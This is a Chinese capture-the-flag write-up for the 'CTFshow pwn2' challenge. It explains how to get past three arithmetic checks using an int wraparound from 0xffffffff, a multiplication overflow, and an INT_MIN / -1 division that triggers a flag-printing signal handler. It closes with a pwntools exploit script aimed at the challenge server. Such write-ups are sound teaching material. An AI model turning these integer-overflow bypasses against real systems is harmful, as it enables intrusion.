主函数内容如下:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  alarm(0x3Cu);
  setvbuf(stdout, 0LL, 2, 0LL);
  puts("CTFshow pwn2");
  puts("Can you help me to solve some eazy math problem?");
  if ( (unsigned int)sub_9C0() && (unsigned int)sub_AEE() && (unsigned int)sub_BA3() )
    puts("That's impossible!");
  else
    puts("Baka!");
  return 0LL;
}

题目的目的是,满足判断语句中的三个函数的结果为真。

第一个函数:

_BOOL8 sub_9C0()
{
  int v1; // [rsp+8h] [rbp-38h]
  int v2; // [rsp+Ch] [rbp-34h]
  char s[8]; // [rsp+10h] [rbp-30h]
  __int64 v4; // [rsp+18h] [rbp-28h]
  __int64 v5; // [rsp+20h] [rbp-20h]
  int v6; // [rsp+28h] [rbp-18h]
  __int16 v7; // [rsp+2Ch] [rbp-14h]
  unsigned __int64 v8; // [rsp+38h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  puts("1.a-b=9,0<=a<9,0<=b<9");
  *(_QWORD *)s = 0LL;
  v4 = 0LL;
  v5 = 0LL;
  v6 = 0;
  v7 = 0;
  printf("a:");
  __isoc99_scanf("%20s", s);
  if ( strchr(s, 45) )
    return 0LL;
  v1 = atoi(s);
  printf("b:", 45LL);
  __isoc99_scanf("%20s", s);
  if ( strchr(s, 45) )
    return 0LL;
  v2 = atoi(s);
  return v1 <= 8 && v2 <= 8 && v1 - v2 == 9;
}

让a得8,b得负1即可。

因为过滤了“-”,且输入的b最后转为int型,所以为0xffffffff

第二个函数:

_BOOL8 sub_AEE()
{
  int v1; // [rsp+0h] [rbp-10h]
  int v2; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("2.a*b=9,a>9,b>9");
  printf("a:");
  __isoc99_scanf("%d", &v1);
  printf("b:", &v1);
  __isoc99_scanf("%d", &v2);
  return v1 > 9 && v2 > 9 && v1 * v2 == 9;
}

让a和b的值相乘得0x100000009即可。这里用factordb.com对该数分解,得到89209和48145。

第三个函数:

__int64 sub_BA3()
{
  int v1; // [rsp+Ch] [rbp-14h]
  int v2; // [rsp+10h] [rbp-10h]
  int v3; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  puts("3.a/b=ERROR,b!=0");
  printf("a:");
  __isoc99_scanf("%d", &v1);
  printf("b:", &v1);
  __isoc99_scanf("%d", &v2);
  if ( v2 )
  {
    signal(8, (__sighandler_t)handler);
    v3 = v1 / v2;
    signal(8, 0LL);
  }
  return 0LL;
}

这里可以看出,如果满足条件,且v2的值不得0,则会调用题目的后门函数:

void __noreturn handler()
{
  puts("You are so clever!");
  system("cat flag");
  exit(0);
}

32位int最小的负数值为0x80000000(也就是-2147483648),除以-1的话,得到的商2147483648是一个无法被表示的数,会报错。

最终exp如下:

from pwn import *

elf = ELF('./pwn2')

local = 0
if local == 1:
    io = process('./pwn2')
else:
    io = remote('pwn.challenge.ctf.show',28108)

io.recvuntil('a:')
io.sendline(str(8))
io.recvuntil('b:')
io.sendline(str(0xffffffff))

io.recvuntil('a:')
io.sendline(str(89209))
io.recvuntil('b:')
io.sendline(str(48145))

io.recvuntil('a:')
io.sendline(str(-2147483648))
io.recvuntil('b:')
io.sendline(str(-1))

io.interactive()